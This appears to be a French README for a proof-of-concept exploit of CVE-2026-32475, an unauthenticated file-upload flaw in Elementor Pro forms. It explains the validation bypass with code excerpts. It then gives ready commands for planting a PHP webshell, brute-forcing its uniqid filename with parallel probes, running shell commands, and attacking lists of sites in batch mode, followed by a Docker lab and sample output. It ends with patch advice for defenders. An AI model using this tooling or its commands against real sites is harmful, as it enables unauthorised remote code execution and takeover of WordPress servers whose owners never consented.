
Preuve de concept pour CVE-2026-32475, un téléversement arbitraire de fichier non authentifié dans Elementor Pro menant à une exécution de code à distance. Inclut la découverte automatisée, le téléversement et l'exécution de commandes avec nettoyage.
PoC pour CVE-2026-32475 (CVSS 9.0 Critique, CWE-434) : un téléversement arbitraire de fichier non authentifié dans le module Forms d'Elementor Pro qui conduit à une exécution de code à distance. Corrigé dans Elementor Pro 4.2.2 (2026-08-19). Signalé par Tin Pham (TF1T) via le programme Bug Bounty de Patchstack.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
Cette preuve de concept est fournie uniquement pour la recherche en sécurité autorisée, l'éducation et les tests défensifs.
Le champ File Upload des formulaires Elementor Pro traite les entrées
téléversées dans deux boucles distinctes avec des sémantiques différentes
(modules/forms/fields/upload.php) :
// validation()
foreach ( $files[$id] as $index => $file ) {
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // <-- interrompt TOUTE la méthode
}
// is_file_type_valid() ... // jamais atteint pour l'entrée #2
}
// process_field()
foreach ( $files[$id] as $index => $file ) {
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // <-- ignore uniquement CETTE entrée
}
$filename = uniqid() . '.' . $file_extension; // extension contrôlée par l'attaquant
move_uploaded_file( $file['tmp_name'], $new_file );
}
Soumettre deux parties de fichier pour le même champ de téléversement — une
première partie vide (filename="" → UPLOAD_ERR_NO_FILE) suivie de la charge
utile .php — fait que validation() retourne avant que la liste noire
d'extensions ne voie la charge utile, tandis que process_field() la déplace
toujours dans wp-content/uploads/elementor/forms/<uniqid()>.php, un
répertoire web public. Demander directement cette URL = exécution de code à
distance.
Le téléversement est géré par POST /wp-admin/admin-ajax.php
(action=elementor_pro_forms_send_form) sans authentification et sans
nonce. Le post_id, le form_id et le nom du champ de téléversement sont
visibles dans le HTML de la page publique, donc toute l'attaque est non
authentifiée.
Cible :
Attaquant :
Cible unique (découverte automatique de la page du formulaire via le sitemap/la page d'accueil) :
python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
Page de formulaire explicite :
python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
Mode lot (sites.txt : un site par ligne — base_url ou base_url page_url) :
python script.py --list sites.txt --command "id" --cleanup --out results.json
Format de liste JSON :
[{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
Exécuter une commande sur un shell déjà téléversé :
python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
| Flag | Défaut | Signification |
|---|---|---|
--url | - | URL de base de la cible unique |
--list | - | fichier de liste pour le mode lot |
--page-url | --url | page contenant le formulaire |
--command | id; hostname; uname -a | commande à exécuter via le shell |
--cleanup | désactivé | auto-suppression du webshell après le test |
--field k=v | - | remplace un champ de formulaire auto-rempli (répétable) |
--tail | 0.3 | secondes avant le temps de téléversement estimé pour le balayage fin |
--step-fine | 1 | pas en microsecondes du balayage fin |
--full-second | désactivé | force brute sur la seconde complète de uniqid (contre la dérive d'horloge) |
--attempts | 1 | tentatives de téléversement+balayage (nouveau nom de fichier aléatoire à chaque fois) |
--max-probes | 600000 | budget de requêtes de balayage par tentative |
--workers | 50 | threads de balayage parallèles |
--insecure | désactivé | ignore les erreurs TLS (cibles auto-signées) |
--out file.json | - | écrit le rapport au format JSON |
post_id, le form_id, le nom du champ de
téléversement et tous les autres champs du formulaire ; auto-remplit tous les
champs avec des valeurs plausibles pour que les champs requis passent la
validation (remplacez avec --field).admin-ajax.php. Remarque : success:false avec un objet errors vide
est toujours traité comme téléversé, car l'action Email par défaut se
déclenche après le déplacement du fichier lorsque wp_mail() échoue.
Seul un rejet du champ de téléversement lui-même (file type is not allowed)
compte comme bloqué.uniqid() = 8 hex secondes + 5 hex
microsecondes. Les secondes proviennent de l'en-tête Date de la réponse ;
la fraction sub-seconde est estimée à partir de (t1 - date_epoch) % 1
(précise lorsque les horloges de l'attaquant et du serveur sont proches). Un
sondeur keep-alive (~30x plus rapide qu'une requête par connexion) balaie la
fenêtre de déplacement à résolution microseconde ; --full-second force la
brute force sur la seconde entière en cas de dérive d'horloge.GET <shell>?c=<command> exécute la commande ;
--cleanup supprime le shell via ?x=1.| Statut | Signification |
|---|---|
vulnerable | shell téléversé et commande exécutée — corrigez maintenant |
blocked | champ de téléversement rejeté (corrigé en 4.2.2+, champ requis, WAF, captcha) |
uploaded_no_exec | fichier déposé mais nom de fichier non récupéré (réessayez avec --full-second) |
no_form | aucun formulaire vulnérable trouvé sur la cible |
error | erreur de connexion/réseau |
docker-compose.yml + setup_form_page.php reproduisent la cible vulnérable :
docker compose up -d
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
docker compose run --rm wpcli wp plugin install elementor --activate
# placez votre elementor-pro.zip obtenu légalement (<= 4.2.1) dans le répertoire du projet, puis :
docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
docker compose run --rm wpcli wp plugin activate elementor-pro
docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
[+] Shell localisé (tentative 1, étape=queue fine) : http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
[*] Exécution de la commande : uname -a
\nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
[*] Nettoyage (suppression du webshell)...
rm
Mettez à jour Elementor Pro vers 4.2.2+. La mise à jour comble la faille
mais ne supprime pas les shells déjà téléversés — auditez
wp-content/uploads/elementor/forms/ pour détecter les fichiers .php
errants.
Uniquement pour la recherche en sécurité autorisée et l'utilisation en laboratoire.